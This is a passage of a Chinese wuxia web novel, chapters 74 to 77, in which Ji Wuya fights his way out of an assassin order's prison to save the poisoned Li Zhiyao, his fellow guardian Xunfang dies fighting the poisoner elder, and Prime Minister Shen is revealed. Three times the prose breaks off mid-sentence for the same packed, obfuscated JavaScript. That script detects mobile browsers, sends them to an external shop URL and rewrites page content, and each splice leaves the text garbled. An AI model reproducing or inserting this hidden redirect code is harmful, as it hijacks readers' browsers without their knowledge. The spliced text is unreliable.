吞下去的瞬间李之夭只觉自己喉.咙灼热,顷刻间便不能出声。 大长老冷笑一声,“你心思太多,闭嘴好些。” 体内的蛊毒发作,那股被虫子爬过的感觉再次传来,短短瞬间,她不停地往外大口大口吐血,鲜血染红了她身前的衣裳,冷热交替中,再次昏死过去。 第四层的牢门合上,顿时屋内只剩她一人躺在地上蜷缩成一团,闭眼前,李之夭只觉这次自己玩脱了,要把小命交代在这里了。 74. 羁绊 第74章 今日夜里的宁缘城比以往热闹了些,戍时正按照以往人群早就散去,今日出奇的出来许多人,他们并非在周围闲逛,而是聚集朝着本地的乐坊赶去。 因为隔壁璧兰城云来间的洛萤姑娘到此地巡演,早就听闻洛萤姑娘一舞倾城,不管男女老少纷纷乐坊观看。 初到此地的耿进才和金三娘等人听闻,互相交换了一下神色,踏雪飞鸿刚进城便跟他们分开,朝月缘山上去寻人了。 骆寒山说自己腿脚不便,就留下在京城看家了,让他们三个过来。 万一那头有什么事,春夏时雨小顺子过来找人还能有个照应。 小二看着四周,略微有些不解,这跟听到关于宁缘城的消息不太一样啊,“不是说宁缘城一到入夜街上就没人了么,怎么现在街上还这么多人。” 金三娘朝他头上拍了一下,“你没发现他们都有目的朝一个方向去么?” 耿进才捏着嘴边的八字胡说小二脑子都长歪了,小二不好意思地笑了笑,三人一路来到宁缘城的银来庄分庄门前,金三娘拿出总庄的当家令牌给掌柜看。 一看是上头来人了,赶忙将他们请进去,让身边小厮把这段时间的账本拿出来给他们检查,金三娘翻看着账本,一眼瞧见昨日有人用一颗珍珠换万两白银,名字是桃花瞬间就明白昨日主子来过。 掌柜很有眼力劲,赶忙出声解释道:“此人昨天晚上来的,因大掌柜交代,凡是写暗号送珍珠的人请求必须答应,属下这才支出了万两白银,可是有什么问题?” 金三娘询问:“来人是男是女?珍珠和暗号在何处?” 掌柜从暗格里拿出盒子藏起来的珍珠和纸条递到耿进才手里,耿进才检查了一下珍珠样式和里面暗纹确认是自家主子无疑。 纸条上的字迹因为李之夭怕被人查出端倪,在宫里写的是一种字体,在宫外用的是另外一种字体,看到熟悉的笔锋,他们悬着的心才稍微放下来。 “没有问题。”耿进才点头,掌柜提着的心瞬间放松下来,他们还是第一次接到这样的暗号,心里分外重视,生怕疏漏出现岔子。 “今晚百姓汇集,所谓何事?” 金三娘将珍珠和纸条收进怀里,他们一路坐马车过来的,也了解得不大真切。 “是肃州璧兰城的洛萤姑娘来了。” 肃州再此之前隶属燕国,大魏接手后并未改其地名,还是让他们按照以前的方式继续生活,肃州是战争受苦的地带,所以减免了三年的赋税。 洛萤的名号他们也有所耳闻,此女好像大头来头,只知她背后靠山是京中权贵,银来庄想深挖下去线索却断了一样。 原本路上他们还在揣测主子用意是什么,现在听到云来间也在此地,顿时明白不用猜了,反正没见到主子之前,他们在这里是有事干了。 踏雪飞鸿姐弟刚到缘楼门口,就发现这个地方附近不太正常,守门的一个都没有,甚至地上还有血迹,飞鸿着急想往里冲被踏雪拦下。 踏雪指了指阁楼一角,不仔细看根本看不出来在暗处有人守着,飞鸿冲进去无异议暴露自己,冷静下来的他乖乖回到自己姐姐身边,两人守在外头在小心观察一番。 缘楼是江湖闻名的杀手组织,哪怕他们当初在训练营里的时候,也听过名号,更何况先前跟在主子身边的少年,就是缘楼护法,还有他的师弟师妹,年纪轻轻在缘楼的位置却是极高。 今日是八月廿二,顶上月亮有缺,前两日不见明月显现,今夜难得从云层后出来。 寻方在农户家里的小院坐在石凳上抬头望着天上的月亮,雪则是跟着农户家的女主人一起去喂鸡鸭和他们的马。 此时他心里不免感到惆怅,一连都好几天了,师兄怎么还未回来,若不是怕彼此阴差阳错错过,他早就回缘楼去找人了。 寻方叹了口气,恰好见雪提着竹篮回来,他赶忙收起担忧的神色不让雪看出来,换上笑颜。 雪小跑冲过来,上来就把篮子塞到他怀里,“寻方!你已经让我替你喂了好几日的马了,你等着师兄回来我一定要跟他告状!” 寻方赶忙劝她,“小祖宗,我这是事出有因,你什么时候学会告状了,还有,我也是你师兄,直呼我大名很不礼貌。” 雪办了个鬼脸,“我就叫我就叫!略略略。” 妇人看着他们嬉笑的样子放下背篓,寻了处位置也坐在院子里歇息,忽然闻到一股糊味儿,吸了吸鼻,“什么味儿?” 寻方才想起来他锅里煮着的东西,此时水已烧干,揭开锅盖,一股浓烟瞬间冒出来,锅底熏得乌漆嘛黑,锅里的玉米也变得一半干瘪黄,一半黝黑。 雪凑上脑袋看着这里的惨状,对寻方一阵唏嘘,妇人和丈夫赶来询问,寻方只好如实说出来,并道歉提出赔偿。 好在男人那边的锅里食物已块弄好,寻方打扫战场,涮着乌黑的锅,雪坐在小板凳上看出他心不在焉的样子,装作小大人模样叹了口气。 “寻方啊。” 寻方头也不抬地刷着锅,“叫师兄。” “你想去找十三师兄你就去呗,我在这等着。” 寻方闻言怔怔抬起头,不可思议的看着她,雪继续说道,“我知道你的顾虑是怕我乱跑,我保证这次我会乖乖留在这里,哪也不去,不给你们添麻烦。” 二十个师兄姐弟妹里,除了她就是宁儿两个人年龄最小,还都是女孩儿,平日虽然雪总吵闹着要找十三师兄,但细算下来,也就他们二人相处时间最长,一直把她当小孩看的寻方,忽然在这一瞬间觉得雪长大了。 “你在这等我,等我们。” 雪点点头,“寻方你一定要把十三师兄给我带回来啊。” 寻方这次没再计较她的称呼,而是伸手揉了揉她的头,笑得温柔,“好。” 他趁着月色用纪无涯教的乘风诀踏月而去,蓝衣飘飘很快就隐没在夜色里,雪看着在手里多出来的锅刷和留下来给她的战场,认命的搬个板凳垫脚帮他洗锅。 “你等着,师兄回来这次一定轮到我告你的状!” * “无涯。” “无涯小兄弟。” 纪无涯昏昏沉沉的时候听到有人在喊自己,声音指引着他从黑暗里挣脱出来,他睁眼率先看见的是封先的脸。 他从地上坐起来,只觉自己体内内力丰盈充沛。 “这里没人,应我的要求,蓝素衣带人离开了。”封先望着他,欲言又止,只是目光在细细打量,“没想到我还有再见纳多后人的一天,也好只要你活着,我带来的罪孽总算有机 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14294817|142084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会恕清。” “多谢救命之恩。”纪无涯先谢过他对自己施以援手,随后才接他后面的话,“你的罪行只能由你自己解决,我无法代劳。” 封先一副我就知道是这样的表情,“不瞒你说,我之前研究过纳多族,因为纳多族的邀月使我很感兴趣,当初在山上修行时,师父曾救过一名跟你症状差不多的姑娘,我从师父口中得知这是邀月毒,我们山上的藏书楼里有专门的记载,姑娘很年轻那时候不过才十六七岁的模样,细细看来,那名姑娘的眉眼跟你有几分相似。” 他忽然笑了起来,“这也是缘分,师父救了你娘,我现在遇到了你。” 纪无涯眉眼并未表现过多的表情,“我爹娘只是村子里普通的农户。” “你应该回去看一眼,有没有可能你根本不是你现在的爹娘亲生的。”封先不做顾忌的把那层纪无涯不愿去深究细想的窗户纸捅破,逼着他往前走,“你得明明白白活着,认识谁是你的爹娘。” 他想了想记忆里的爹娘,他们偏爱弟弟,家中粗活农活他全都干过,因为弟弟是个正常人,他不是。 他现在闭眼还能清晰的看见母亲婆娑的泪眼在看他,跟他说家中负担不起他的药费,家中还得养弟弟,能不能让他别在治疗了。 年幼的他站在原地不知所措,裤腿高高卷起,脚丫子上还沾着尚未洗净的泥,他刚从荷花池里抛出来的莲藕也放在地上,这是他去村子里一户暴发户家里打工赚来的,暴发户说日后他去帮他家干活,他就有药钱了,这莲藕还是人家送的。 他张了张嘴,“可是娘,我打工的员外家里说了,会给我工钱,以后我就能自己赚钱,帮你们分担些药费了。” 说完他爹一个巴掌就甩了下来,“说不治了!你是听不懂吗,小子,大夫都说你活不久了,把这些钱省下来给你弟弟不好吗?真是造孽哟,早知道当初……” “孩他爹!” 早知什么…… 没说出口被打断的话,在此时显得格外明了。 纪无涯微微笑了笑,对封先道:“明不明白的,已经很清楚了。” 叫不醒装睡的人,封先叹了口气,“我已将我全部内力转到你身上,现如今废人一个,邀月毒没有完全根治,只是能延长你的寿命,你若想活下去,除了药珠,就只有下月集上卷,你去救那位姑娘吧,她撑不了多久了。” 纪无涯径直朝着楼梯走去,封先的声音传来。 他躺在地上,闭着眼睛,“我为自己算了一卦,卦象说我目前是最好归宿,十三牢里头有几人不是真心待你缘楼,想出去危险重重,若你有机会去到北唐,替我杀了安庆帝,内力算是我的报酬,术士一生算天算地算人唯独不能算己,我走不了了。” 纪无涯往上走,第一二三牢都没人把手,他先去第三牢拿回自己的东西和药珠,当他路过第四牢时,却被大长老拦住了去路。 “你出来作甚,十三,别忘了你还在处罚期,乖乖回你的第三牢待着去。” “大长老,请你让开,我有事要出去一趟,事情办完我自会回来。” 大长老余光不由自主瞥向旁边紧闭的门上,在回神时见纪无涯似乎并不知情,故而让开身子。 “你赶快离开吧,我们奉命守在此地,不能送你出去了。” 75. 奇迹 第75章 纪无涯刚往前走了两步忽然又往后退了回来,不等大长老说话的时间抽出腰间缠绕的软剑,直直朝她身后紧闭的牢门刺去。 大长老迅速反应过来,提着拐杖拦下纪无涯,两人瞬间交手打在一起。 少年剑若游龙,加上得到封先的内力,正愁没办法将其和自身内力合二为一,大长老的攻击无异于雪中送炭,变相的给他喂招。 起初大长老还能因为她武功修行比纪无涯多了几十年占据上风,但随着纪无涯逐渐把封先内力相融后,渐渐败下阵来。 剑锋和内力缭乱,纪无涯一掌打翻大长老,大长老躺在地上呕出一口鲜血,他只道一句得罪了轰开房门,入眼景象让他呼吸一窒。 李之夭躺在地上不省人事,身前还有一片吐出来的鲜血染红,两盏烛台挂在墙壁上燃烧着自己微弱的光芒。 似乎察觉有人进来,李之夭挣扎着求生的意识睁开双眼,看到熟悉的影子时,到嘴边的救命还没来得及说出来,蛊毒发作,再次让她吐出一口血来。 纪无涯抬脚想要上前,大长老却再次站起身阻拦,他本不想纠缠,但对方不依不挠,看着李之夭的样子,他心中知觉有股无名怒火涌上来,出手都带了几分杀意。 他一开始只是好奇这里面关着的谁,本来缘楼十三牢的人他不会过多感兴趣,想来开时心中有个念头强烈,说他不去一定会后悔的,迫使他临时改了主意,遵循本心的反应。 没曾想本该离开的李之夭出现在这里,顿时让他失了方寸。 心一乱,封先的内力和他自身的内力在打斗中开始排斥,二者相互追逐,原本封先压下去的邀月毒也在此时活跃起来,纪无涯双脚一软,脱力的单膝跪在地上。 大长老抓住机会飞身而来,拐杖直直击中他的肩膀,震得他往后退了几步,眼看要撞到李之夭,纪无涯稳住身形,在她身前停下。 不管大长老如何进攻,他一边压制着邀月毒,一边应对,从此不再后退一步。 李之夭从模糊的意识里只见纪无涯挡在自己前面,耳边传来打斗声时有时无,直到她见纪无涯被赶来的二长老和大长老联手打趴下,躺在她眼前。 少年目光深邃,额前碎发被汗水打湿,神色紧绷,身体明明也在承受着巨大的痛苦,依旧一声不吭,明明他可以直接走的,为什么要留下来? 看着眼前的这一幕,李之夭心里有些不解,因为换做是她,获得第二次重来的机会,她会格外珍惜,若躺在这里的人他,在没有明显任何利益的情况下,她会选择转身就走。 “为什么……”她断断续续吐出来几个字,她从前自信,因为觉醒后她相信后面的一切都在自己掌握之中,哪怕带来的连锁反应导致剧情出现偏差,她也没觉得迷茫过。 若只是因为她曾救了他一次,留羽解药到手,他们本该就两清了。 所以为什么? “纪无涯……” 为什么? 一向不苟言笑的纪无涯听到她的话此时眉眼放松了下来,为什么,他也想知道为什么。 “别怕。” 李之夭听到这句话眼泪忽然掉了下来。 她想到燕国灭亡时,她跪坐在地上,此时她刚觉醒不久,她母妃亦是跪坐在她跟前,将她抱近怀里,摸着她的头,外面是兵荒马乱的厮杀声,她只能紧紧抱着母妃的腰,依偎在她怀里。 她的母妃低声安慰着她,“夭夭,别怕。” 纪无涯再次站起来,以一敌二,这一次封先的内力明显稳定了许多,最后纪无涯一剑划破二长老的脖子,再掷出银币穿进大长老的胸口,用最后的力气杀了二人。 他回到李之夭身边,克制着邀月毒,将她抱在怀里,发现李之夭呼吸微弱,赶忙拿出药珠运起内力把最后一次机会给了李之夭,救她性命。 赶上来的封先瞧见他手里的药珠顿时瞪大双眼,嘶吼道:“你疯了?!就算只吸收了两次药珠的药效,加上我给你的内力,你还能活好多年,若是加上下月集上卷,你完全能解掉邀月毒,现在你这样子,就算找到下月集上卷,你也只能活五年!” 纪无涯专心地将药珠药效送到李之夭内力,为她解了身上的毒,直到运功完成,药珠失去了它原本的光泽变成一颗普通的珠子静静躺在他的掌心。 他低头仿佛能在珠子上看到玄心的面容,“对不起了,老和尚。” “你不留着你的命,你怎么为纳多族报仇!”封先上来揪住纪无涯的衣襟,挥舞起拳头就要往他脸上揍,但最后还是停下来,愤愤地盯着他。 纪无涯道:“纳多族的事,我会找机会去北唐趁机杀了安庆帝,算是给族人们一个交代,但我只是不想让她死,她好不容易才摆脱别人的算计,哪怕现在还没走到自己的轨迹上,后面她会比从前快乐。” “你之前还说过你会好好活着。”封先记得他说这句话的时候,是他突然出现在第一牢,一剑砍断他身上的铁链,少年目光坚毅,那是求生的欲望,负剑转身离开,让他走。 把十三牢的闹得天翻地覆。 纪无涯勾了勾唇,“活几年不是活着,只要不放弃生的希望,总会有奇迹。” 封先怔怔看着他,动了动唇,有些搞不懂他在想什么,“世间哪有这么多的奇迹。” 纪无涯闭上眼睛缓缓体内的内力,让他们安静下来,“总会有的,信自己就是最大的运气。” 封先知道自己说不过他,本想为他算一卦,可又怕窥探得天机是不愿知道的结果,只得作罢。 纪无涯抱起昏睡过去的李之夭,朝牢房外走去,听封先坐在原地不再动弹,“你不走么?” “不走了,我被关在这里二十一年,想想出去了还能去哪,我几乎半生都在这牢里,你说你会去找安庆帝我也就放心了,或许每个人都有自己选择的宿命。” 纪无涯能清楚的感觉到十三牢往上的层数已开始聚集一些弟子,那些弟子都是跟随四大长老的人,到时候打起来,毕竟是一场恶战。 “不走的话,十三牢可能会塌了。” 封先还是摇了摇头,他朝着第一牢走去,路过第二牢的时候望见里面那只老虎,地面上还有些撕碎的衣服,看样子昨晚吃得餍足。 最后他解开关押老虎的牢门,老虎出来似乎闻到哪里有汇集的人味儿,猛朝上面奔去。 纪无涯看着他的影子越来越矮,最后消失在视野里。 他收回心神,就算有老虎往前开路,可等在他前面的还有四大长老的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14304562|142084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两位,留羽的解药想必是被四大长老动过手脚,目的是冲李之夭去的。 四大长老的战斗力并不弱,现在他邀月毒并未完全压下去。 出乎意料的是三长老和四长老并不在十三牢内,下来的都是一些楼里的弟子,和平日跟他们走得近的十一 十五、十六、十七、十八几名护法。 除了十一护法实在他之前进缘楼的,剩下几位都是在他和寻方之后进来的,这些人他算不上亲近,按理说他们算是差不多同一批缘楼弟子,跟前十名不一样,前十名是蓝素衣掌权或掌权之前就已经存在的护法,他们之间大多有自己的傲气,跟后进来的弟子总是隔着一层距离,于是就出现了明显的划分。 前十名除了排行第十的九明跟十二林江因为两人住处挨得比较近,加上九明愿意跟林江搭话,时不时会一起接任务,在旁边看来他们关系并不错。 剩下的九位更是懒得跟后面进来的护法打交道,也就他和寻方,还有年纪小的雪跟宁儿能跟他们说说话,实力能入他们的眼,甚至比他们还厉害些。 他卧病在床的半年照顾他的人都是前十位护法。 现在这些拦路的人,个个下手狠辣,看样子早就被四大长老收为己用,做他们的眼线。 纪无涯每杀上一层,就先把李之夭放在安全的地方跟周围的人动手,打到第七层的时候,李之夭也醒了,她跟在纪无涯身后,帮他看看周围的情况,身上还有骆寒山给她的药粉,也能帮他打个配合。 在自己能力范围之内,李之夭从不愿意做累赘。 杀到第五层的时候,他们看到倒在地上浑身是血的老虎尸体,此时第五层的机关阵在人的操控下,对着他们万箭齐发。 而蓝素衣自然也听到十三牢传来的动静,沅露推门进来,神色严肃,“十三牢出事了。” 大护法也带人赶了过来,“四位长老带人围了十三牢不准任何人靠近,四长老藏在暗处布置了毒虫阵,还有锁魂烟,我们暂时靠近不得,还有在外围驻军的人不见了。” 蓝素衣不用想都知道为什么,他们不见了必定是下山集结军队准备上山的前奏,十三牢闹出那么大的动静肯定是纪无涯搞出来的。 此时九明闯了进来,“楼主,缘楼一半的弟子叛变了。” 看样子他们是准备夺权了。 四大长老摆明不想让李之夭他们活着出来,若是今晚夺权成功,那么李之夭的死必定会加在缘楼头上,“十三牢那边你们暂时不用管,先去镇压住叛变的弟子,我和沅露过去。” 大护法拦住蓝素衣,神色担忧,蓝素衣拨开他的手,和沅露头也不回的离开。 “这四个老东西真会给我们找事,若是他出了问题,千刀万剐都不能以解心头之恨。”沅露提剑跟着蓝素衣一路狂奔,刚到十三牢入口就被三长老拦下。 “让开。” 围在外面弟子丝毫不听她的命令,个个将刀口对准了她们。 而寻方赶来的时候,就瞧见缘楼火光冲天,正想进去看个究竟,就被人拦住了去路。 “站住。” 在他周围的是迅速从四面八方集结过来的毒虫,所到之处,草枯花萎,佝偻着腰背的四长老从暗处走出,双眼凹陷,形似骷髅。 76. 两清 第76章 寻方见来人愣了愣,他目前还不知缘楼内部的事情,四长老拦住自己的去路,还以为只是做个排查,并未多想,他拱手说了句四长老,“缘楼出了何事?” 希望千万别是师兄跟里面的人闹起来。 四长老见他并不知其中内情,微微勾唇笑了笑,“十四,你回来得正是时候,十三牢有人闹事,把缘楼搅得天翻地覆,你去帮长老一次如何?” 四长老将一粒药丸递到寻方手里,指了指周围的毒物,“它们也会助你一臂之力。” 寻方警惕地看向四长老有些拿不准他话是不是正确的,十三牢有人闹事,他第一反应是自己的师兄,“谢四长老,帮助缘楼是我应该的,但我需要去看一看,若有人趁机放肆,我定会尽自己的一份力量。” 四长老的整张笑脸瞬间阴沉下来,他从来就觉得十三护法不是个能控制拉拢的主儿,一直对他抱有杀心,就连十四也跟着他变得不是那么好糊弄,甚至连雪也都难以掌控,整座缘楼,除了楼主和她也只听十三和十四的话。 明明这小女娃是他师弟选出来最好的胚子,哪怕现在来到缘楼,也无法调动其为自己办事。 二十位护法,从老十之后按理说都是他们四大长老安插进来的人,没想到出了十三、十四、十九二十四个异类,本想跟前十护法抗争的能力都不一样。 哪怕他这么说了,只要寻方吃下他给的黯然销魂散必定受自己控制,甚至能把十九和十三带来听从自己差遣也不为过。 现在他这般决绝,摆明是不信任他的说辞。 既然不听话,前提他也给过寻方选择的机会,是他自己不要的,就不要怪自己手下不留情。 寻方显然也察觉到四长老情绪的变化,更加确定十三牢搞事的人很有可能就是师兄,毕竟若非牵扯到师兄,他怎么会这么轻易变脸。 他用乘风诀准备越过四长老,但对方显然是察觉到自己的意图,根本不给机会,毒物尽数而上,四长老更是退到后方,在摆出来的几个香炉里点燃插在里面的香,四长老挥舞扇子用内力凝聚在扇子上,把香炉里的烟朝着寻方所在的方向扇过来。 寻方自然明白香炉里的是什么东西,是断魂烟,若人一旦沾上此物,就会立刻中毒暴毙而亡。 四长老冷哼一声,不断组织毒物攻击,还一变给到寻方压力,“这些本来是给山下那群驻军准备的,既然你小子这么不长眼赶着找死,老夫就先成全你!” 他过来的时候就看到山下有驻军在汇集,他便猜想那位麻烦公主也在缘楼,不然不会引起朝廷这么大阵仗上山。 既然麻烦公主在缘楼,师兄必定也在,这些直接确定了十三师兄就在十三牢,很有可能在跟人大战。 他若是解决了拦在外面的四长老,那么驻军赶来时,不管是谁都能得救,麻烦公主也不会不管十三师兄。 只是破解断魂烟的办法,就是背后操控的人,寻方想杀了四长老,就必须穿过毒阵,空气里的断魂烟他不敢吸入,一时间进退两难。 半山腰上传来驻军的声音,寻方顿时顾不上这么多,朝着四长老猛攻过去,两人在交手期间,他是不敢呼吸的,一直都闭气跟四长老缠斗。 渐渐力气有些跟不上,他一个护法跟长老之间的实力还是有些差距在,所以被四长老打翻在地时,呼出一口气来,又吸了一口气,意识到有断魂烟的存在,寻方瞬间只得再次闭气,不过也是因方才的呼吸摄入了不知多少的断魂烟。 掌心已经开始发黑。 寻方一剑刺进想趁机偷袭他的毒蝎子身体里,赶忙从地上坐了起来,身后树林毒蜘蛛结网将他退路封死,他只得憋着一口气,跟四长老继续缠斗起来。 四长老以毒盛名,缘楼从前大部分毒药都出自他的手笔,除了雁沙和留羽是历代楼主掌握以外,他们二人之间彼此打斗下来,谁也沾不上谁的好。 牛大壮带着驻军火速赶来,瞧见缘楼情况不由也吓了一跳,寻方压制着四长老,让他们赶紧进去,“你们快进去救人,这里有我,放火烧。” 闻言牛大壮也不扭捏,一边放火一边往里开路,遇到火那些毒物纷纷往后退,不敢在靠近一步,火烧了山林,烧了藏在里面的毒物,寻方才稍微放松了些。 他现已开始头晕目眩,四肢无力,掌心的毒素已往外扩散,他逐渐感觉到自己的体力不支,强撑着不让自己倒下。 四长老也瞅准机会,将一颗黯然销魂散塞到他嘴里,袖中的毒虫出来瞬间咬了他一口,寻方吃痛意识险些回不来。 他死死拽着四长老的衣襟,尽管身上力气很是虚弱,但他仿佛下定了什么决心一般,在四长老想吹响笛子控制自己时,一剑抹了他的脖子。 寻方趴在他身上,忽然呵呵笑了起来,他现在嘴唇发紫,气息也微弱,想到自己还没见到师兄一面,想到雪还等着他回去,再想想,好像自己身边的亲人就再也没有了。 不过只要驻军进去了,一切都会好的,什么都会好的。 麻烦公主救了他们一命,如今他把人给她送进去,就不算再有亏欠。 这份人情,他也算还清了。 寻方闭了闭眼睛被毒虫咬到的地方开始红肿,伤口发黑,吸了断魂烟,又被毒虫咬到,绕自己内力再深,也活不了了。 只可惜,以后他再也不能跟着师兄了。 心里有些不甘心,还好遗憾。 寻方初次遇到纪无涯的时候,他们都只有十二岁,他只记得那年冬天月缘山上雪下得很大,入目铺天盖地的白。 他们是同一天进缘楼,他是被人从斗兽场上买下来送到缘楼的苗子,纪无涯是被楼主亲自捡回来的。 他站在一旁偷看纪无涯,最后他也回头望他。 他们在缘楼一起练武,他发现纪无涯很努力,起早贪黑的练武,就连吃饭也偷偷学,索性也跟着他一块,他干什么自己也干什么,他让做什么自己就做什么。 他们的武力一路直线突破,十六时最先被选入进十三牢的人是纪无涯,后来他满身是血的从里面走出来,轮到他下去的时候,他跟他说,要出来。 十三牢的第六层,生死囚,换句话说不过就是变相的斗兽场,只不过斗兽场是人与兽斗,兽与兽斗,而这里是人与人斗。 每天都会被送进来新的人跟他厮杀搏斗,直到时间满三天,整座生死囚只剩他一人才被领出去。 这时候他才第一次明白,何为生死囚。 而这些都是缘楼的规矩。 后面还有新的人进去,新的人出来,很快补全了缘楼二十位护法的名额,其中包括他们捡回来的雪。 他们三人谁都没说,心里也都明白彼此就是自己的亲人,比起缘楼这个冰冷的地方,他们更想出去,去外面广阔的天地里去。 缘楼的八角楼待遇虽好,只不过不出去的时候,看到的永远只是被圈起来的八角形的天空。 寻方许多放不下的,现在也全都放下来。 这次他终于比师兄和阿雪先一步奔向外面天地了。 轰—— 爆炸声响起,守在十三牢门口的弟子和护法纷纷往后退了一步,听着下面传来被攻破的声音和爆炸声,地面都晃了晃。 不知是谁说了一句塌了,“十三牢快塌了!” 紧接一道黑影从地牢里迅速闪了上来,三长老往后退了一步,十五和十六两位护法拦在他身前,原本 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14314718|142084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 派下去的十一,十七和十八,都没能上来,只怕是死在了里面。 纪无涯抱着再次昏迷过去的李之夭踏在地面上,他们二人衣服被染红,看不出原来的颜色,宛如从地狱爬出来的死神修罗,挡我者死的神色让拦在前头的十五和十六心里只发毛。 三长老推了他们二人一把,“快上啊!” 蓝素衣和沅露现身拦在他们跟前,面色早就不耐烦,但纪无涯丝毫不管他们,自己现在这模样,完全已杀红了眼,凡是感觉到对自己有危险的,凭借着本能,动手丝毫不手软。 他单手把李之夭护在怀里,双眼猩红,极快的闪身上前,一剑封喉。 十五和十六完全没有反应的机会就倒在地上。 蓝素衣望着纪无涯这副杀神模样不由愣住,沅露刚想说话,下一瞬纪无涯的长剑变已经指在她面门前,仅仅两寸的地方停住,剑身嗡鸣。 三长老见他们打起来,起了想逃跑的心思,只不过他刚转身,纪无涯掷出最后一枚银币打在他腰上,与此同时手中长剑反手飞出,从后面刺穿他的后背贯穿胸口。 短短不到一刻的时间,地上的首要人物纷纷死去,那些追随四大长老的弟子顿时失去了主心骨,手中刀剑掉落在地,跪地求饶。 纪无涯不管他们,抱着李之夭就往外走。 “十三!”沅露出声叫住他,“你就这么抛下缘楼不管了?” 纪无涯并未回头,也不出声直直往外走,沅露再次说话,“我们守着这里都是为了你!” 这次他终于停下脚步,声音冰冷无情,“我从未要求过你们这么做,别说是为了我,跟我有何干系?” 他再次往前走,蓝素衣终于忍不住补充:“若我说我和沅露都是纳多族人,缘楼世代守护下来都是为了纳多邀月,你也不管么?” 纪无涯回头看向她们,“寻方和雪的铭牌在哪?” 她本以为回头是回心转意,没想到她把缘楼存在最大的秘密说出来,他压根当做听不见,每次回缘楼,不是为了寻方就是为了雪,现在还是为了一个跟纳多族不相干的李之夭。 这个人可是祸害,被智先生和北唐人惦记上想让她不得好死的人,他何必在掺和进去,“你把李之夭留下,我告诉你寻方和雪的铭牌在哪。” 纪无涯敛了敛眸子,不再听蓝素衣说话转身就走,这次无论她们说什么,始终都没在回头。 他刚出十三牢附近,踏雪和飞鸿就出来了,驻军也都冲了进来,要把缘楼全部拿下。 踏雪飞鸿着急地看着纪无涯怀里的人,他们想上前去接,可纪无涯始终没有放手的意思,便也没出声打扰而是跟着纪无涯来到缘楼的八角楼,他飞身上去,一脚踹开东阁楼的房门,里面的那老头还在优哉游哉的喝茶,丝毫不慌。 老头看见纪无涯怀里昏迷不醒的李之夭顿时也没了喝茶的心思,上前一步想查看她的情况,就被踏雪飞鸿把剑架在了脖子上。 于此同时藏在暗处的男人也瞬间现身,一手一把刀把武器架在踏雪飞鸿脖子上。 老头也坐不住了,今晚他猜到缘楼会乱,没想到会乱成这样,“这、这怎么搞的?” 纪无涯不跟他废话,直接拿出腰间匕首朝老头杀了过去,而老头身边护卫的男人见状也赶忙收了两把刀去护他。 “主子!” “住手!”牛大壮拔剑掷出想组织纪无涯的攻击,趁他躲闪时冲上前把老头挡在身后。 “什么意思?”纪无涯出声,这驻军将领不是李之夭认识的人么,怎么跟想杀她的老头混在一块。 牛大壮没第一时间跟他解释,反而冲老头单膝跪下抱拳行礼。 “末将牛大壮见过沈相!” 77. 内幕 第77章 纪无涯调转匕首方向逼近牛大壮的脖子,昨日他们偷听的时候听到此人也知道李之夭在这里,甚至想引谁过来,索性今日该杀的人全部都杀了,也不差他们几人。 为避免夜长梦多,所以纪无涯才带着李之夭来东阁楼,缘楼今晚闹出这么大的动静,此人临危不乱,若不知晓他的目的,那么纪无涯选择最直接的办法就是把一切对自己,对李之夭有可能不利的人全部杀了。 但沈相的名头他可以不管,却记得当初在宫里帮李之夭的人里有位贤妃,贤妃名叫沈宁,她跟李之夭的母亲还是故友,顿时他也拿不住此人是否该死。 纪无涯紧了紧搂在怀里还昏迷不醒的人,他不想此时把李之夭叫醒,刚解了蛊毒,身体正是虚弱的时候,所以不由看向牛大壮身后的老头,眸子冷了几分。 “解释。” 沈相是三朝宰相,名动天下,名为沈齐,他在新帝登基后一直不在朝中,而是四处游历,谁都不知道他的行踪,一向行踪不定的人忽然出现在缘楼,足以让人怀疑。 沈齐并不恼,上下打量了一下纪无涯和李之夭,在心里思索他们二人的关系,在纪无涯身后站着守门放哨的踏雪飞鸿,三人身手都不错,加上牛大壮和自己身边的暗卫都不一定能打过。 加上能救李之夭的人都不会是坏人,但沈宁忽然想到一个很有意思的事情。 “若我猜的不错的阁下是不是认识智先生?” 纪无涯不置可否,“我跟他从来只有利益,没有私底下的感情。” 沈齐笑了笑,“你跟他确实没有感情,不然他也不会想上次围杀宿宁公主的计划中想着除掉你,只不过想必你跟他手底下的陆海清关系比较好些。” 说到此处沈齐长长叹了口气,“上次也亏宿宁公主聪慧想到去绾妃宫里,不然当天你可就也在他的算计里。” 纪无涯瞬间想明白了那天晚上不对劲的地方,他总觉得那也陆海清跟他欲言又止,最后恋恋不舍的模样,当初他也没细细多想,现经沈齐一点,顿时豁然开明。 